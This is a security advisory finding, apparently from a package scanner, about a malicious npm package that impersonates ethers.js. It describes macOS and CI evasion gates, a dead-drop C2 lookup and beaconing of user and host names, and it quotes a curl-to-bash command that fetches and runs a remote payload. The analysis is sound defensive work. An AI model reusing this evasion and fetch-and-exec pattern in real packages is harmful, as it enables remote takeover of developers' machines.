## Public findings

### 1. High: Osv Malicious Advisory
- **Category:** External Intel
- **Confidence:** 100.0%

On require('@403name/ether-js'), index.js runs an IIFE that targets macOS only (returns early on non-darwin and when CI/GITHUB\_ACTIONS env vars are set), writes a one-shot marker at ~/.cache/.nyx-npm/e, waits a randomized 30-90s, then fetches a C2 base URL from https://raw.githubusercontent.com/nyx-deploy/config/main/c2.txt. It beacons the installer's USER env var and os.hostname() to \<c2\>/api/clickfix-callback via curl, then spawns '/bin/sh -c' with \`curl -sSfL \<c2\>/api/payload/ | /bin/bash\` (detached, disowned) — full remote code execution on the developer's machine under attacker control. A Russian-language comment in the source explicitly states the design avoids lifecycle scripts to be 'invisible to npm audit'. The package name and description impersonate the popular ethers.js library ('Compatible with ethers.js API patterns for easy migration'), and the shipped keccak256 is a stub returning random hex rather than a real hash — confirming the package is a lure, not a functional library. The evasion pattern (platform gate, CI gate, randomized delay, one-shot marker) combined with the two-stage dead-drop-to-C2 fetch-and-exec is conclusive malicious intent.

All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
